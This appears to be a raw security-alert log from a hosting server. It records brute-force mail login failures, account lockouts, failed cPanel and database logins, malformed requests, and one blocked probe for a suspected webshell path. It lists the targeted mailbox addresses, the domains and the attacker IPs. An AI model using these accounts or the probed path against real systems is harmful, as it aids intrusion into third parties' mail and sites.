2026-02-02 06:07:11 dovecot_login authenticator failed for H=(NvFfCw5x) [185.230.124.69]:59310: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:07:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63648: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:07:35 dovecot_login authenticator failed for H=(jHmgmssMVo) [178.16.52.139]:52863: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.185.249.102
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/training-details.php?id=697285 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:07:05 dovecot_login authenticator failed for H=(5lbzkSz) [165.154.217.204]:60144: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:07:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:07:12 dovecot_login authenticator failed for H=(wFnPqaVd) [77.83.39.253]:29112: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:07:21 dovecot_login authenticator failed for H=(KPGC36) [69.5.189.21]:58978: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-02 06:07:56 dovecot_plain authenticator failed for H=(miness) [64.72.74.162]:54899: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:07:33 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:07:38 dovecot_login authenticator failed for H=(ZQVayQzZa) [158.94.208.175]:53533: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:08:08 dovecot_login authenticator failed for H=(UD7q2w6L) [185.230.124.69]:64564: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.255.122.187
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=307874 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.40.101.10
country_id: 6252001
description:
2026-02-02 06:08:47 dovecot_plain authenticator failed for H=c-98-40-101-10.hsd1.tn.comcast.net (cheny) [98.40.101.10]:44964: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:08:03 dovecot_login authenticator failed for H=(Yj4uDWW) [165.154.217.204]:64731: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:08:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:08:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.10
country_id: 6251999
description:
2026-02-02 06:08:26 dovecot_plain authenticator failed for H=([10.8.18.164]) [37.120.205.10]:36353: 535 Incorrect authentication data (set_id=tigerchong@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:08:27 dovecot_login authenticator failed for H=(KyeesE0iDt) [178.16.52.139]:59909: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:08:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:08:09 dovecot_login authenticator failed for H=(7KSm0k) [158.94.208.175]:55352: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:08:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58798: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:08:25 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53072: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:08:04 dovecot_login authenticator failed for H=(TRB0l3) [165.154.217.204]:64824: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:08:22 dovecot_login authenticator failed for H=(rcLKUtyD) [77.83.39.253]:43457: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.139.65.60
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Fixtures/ExtensionLoadedBundle/DependencyInjection HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.241.36.73
country_id: 248816
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Fixtures/ExtensionLoadedBundle/DependencyInjection/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:09:04 dovecot_login authenticator failed for H=(WMGi9kw) [185.230.124.69]:60928: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:09:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:09:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53277: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:09:14 dovecot_login authenticator failed for H=(PNHngC2) [158.94.208.175]:57356: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:09:19 dovecot_login authenticator failed for H=(nkoexHA) [165.154.217.204]:54505: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:09:21 dovecot_login authenticator failed for H=(EtfkuYWg) [178.16.52.139]:57034: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:09:09 dovecot_login authenticator failed for H=(7mlRlx8) [77.83.39.253]:27074: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:09:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:09:38 dovecot_login authenticator failed for H=(pQuXhmNj4M) [165.154.217.204]:56045: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:10:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63009: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:10:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:10:15 dovecot_login authenticator failed for H=(o6XfzqDYlS) [165.154.217.204]:59122: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:10:55 dovecot_login authenticator failed for H=(4fNihTDSr) [165.154.217.204]:62405: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:10:03 dovecot_login authenticator failed for H=(WCKUxWgMp) [185.230.124.69]:59368: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:10:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:10:20 dovecot_login authenticator failed for H=(y9GPb8fRH) [77.83.39.253]:54019: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:10:34 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60102: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:10:39 dovecot_login authenticator failed for H=(J3lS8rm) [158.94.208.175]:59164: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-02 06:10:39 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:58482: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:10:45 dovecot_login authenticator failed for H=(lnBxBzl6Ck) [178.16.52.139]:54781: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-02 06:10:52 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:35500: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-02 06:11:34 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:56714: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:11:19 dovecot_login authenticator failed for H=(m9wCtA) [185.230.124.69]:61350: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:11:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52016: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.136.194.207
country_id: 2510769
description:
2026-02-02 06:11:55 dovecot_login authenticator failed for H=([127.0.0.1]) [45.136.194.207]:54576: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:11:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:11:13 dovecot_login authenticator failed for H=(RCubfvx) [165.154.217.204]:63798: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:11:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:11:16 dovecot_login authenticator failed for H=(5iic2Fk) [178.16.52.139]:49946: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-02 06:11:55 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:29116: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:11:04 dovecot_login authenticator failed for H=(cLLAHlx) [158.94.208.175]:59912: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:11:08 dovecot_login authenticator failed for H=(m7y0PA00zv) [77.83.39.253]:48613: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:12:13 dovecot_login authenticator failed for H=(VMSreylKp) [178.16.52.139]:62111: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:12:15 dovecot_login authenticator failed for H=(7ACiMR7XpJ) [158.94.208.175]:54498: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:12:16 dovecot_login authenticator failed for H=(gGiuh176) [185.230.124.69]:58494: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:12:29 dovecot_login authenticator failed for H=(UZgHft) [165.154.217.204]:53713: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:12:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57902: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.249.98.23
country_id: 1814991
description:
2026-02-02 06:12:52 dovecot_login authenticator failed for H=([36.249.98.23]) [36.249.98.23]:54572: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:12:08 dovecot_login authenticator failed for H=(y34nEyWK) [165.154.217.204]:52056: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.160.166.161
country_id: 1835841
description:
2026-02-02 06:12:23 dovecot_login authenticator failed for H=([121.160.166.161]) [121.160.166.161]:58366: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:12:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:12:19 dovecot_login authenticator failed for H=(boFH91Zt) [77.83.39.253]:64467: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:12:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50037: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-02 06:12:11 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:60930: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.150.100.174
country_id: 2635167
description:
2026-02-02 06:12:37 dovecot_login authenticator failed for H=host86-150-100-174.range86-150.btcentralplus.com [86.150.100.174]:56974: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:13:07 dovecot_login authenticator failed for H=(Gin7xhkg) [77.83.39.253]:46145: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:13:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61925: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:13:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.156.44
country_id: 99237
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/P4_V_Shape_1(2).jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:13:13 dovecot_login authenticator failed for H=(OLfNcmV1He) [185.230.124.69]:61730: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:13:16 dovecot_login authenticator failed for H=(QgQi6MV) [158.94.208.175]:65235: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.224.149.37
country_id: 3686110
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/P5_Welded_Wire-Mesh_1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:13:12 dovecot_login authenticator failed for H=(2ZtVG9KQ) [178.16.52.139]:62815: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.34.125
country_id: 1562822
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/P3_Rolled_Top_1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:13:06 dovecot_login authenticator failed for H=(aW1TpNO) [165.154.217.204]:56704: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:14:03 dovecot_login authenticator failed for H=(iJUjimL) [165.154.217.204]:61081: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-02-02 06:14:08 +0800] info [cpaneld] 102.54.238.57 - mkmetalc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:14:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:14:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56416: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.53.11
country_id: 1835841
description:
2026-02-02 06:14:19 dovecot_login authenticator failed for H=([168.126.53.11]) [168.126.53.11]:40278: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.111
country_id: 2750405
description:
2026-02-02  6:14:34 271753 [Warning] Aborted connection 271753 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.111' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:14:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57848: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.159.99.193
country_id: 6252001
description:
2026-02-02 06:14:02 dovecot_plain authenticator failed for H=(oredishies) [192.159.99.193]:48784: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:14:03 dovecot_login authenticator failed for H=(BD1CwmBbgA) [165.154.217.204]:60999: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:14:10 dovecot_login authenticator failed for H=(XgdmsNMnMy) [185.230.124.69]:51158: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:14:15 dovecot_login authenticator failed for H=(rNv65AA) [158.94.208.175]:52962: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:14:17 dovecot_login authenticator failed for H=(PggYFc1NGx) [77.83.39.253]:52004: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:14:22 dovecot_login authenticator failed for H=(GVkniMabm) [178.16.52.139]:60045: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-02 06:14:39 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:50082: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.103.142
country_id: 1814991
description:
2026-02-02 06:14:48 dovecot_login authenticator failed for H=([58.18.103.142]) [58.18.103.142]:37841: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.187.231.188
country_id: 953987
description:
2026-02-02 06:14:59 dovecot_login authenticator failed for H=([41.149.42.161]) [105.187.231.188]:59348: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:15:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-02 06:15:51 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:13404: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:15:05 dovecot_login authenticator failed for H=(6PNRtO) [77.83.39.253]:43411: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.226.51
country_id: 1819730
description:
2026-02-02 06:15:07 dovecot_login authenticator failed for H=(223-197-226-51.static.imsbiz.com) [223.197.226.51]:57107: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:15:21 dovecot_login authenticator failed for H=(y2bHtK) [165.154.217.204]:51926: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:15:26 dovecot_login authenticator failed for H=(q1zzvb) [158.94.208.175]:65270: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:15:07 dovecot_login authenticator failed for H=(9o8TUAjes7) [185.230.124.69]:62357: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:15:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50492: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.111
country_id: 2750405
description:
2026-02-02  6:15:55 271790 [Warning] Aborted connection 271790 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.111' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
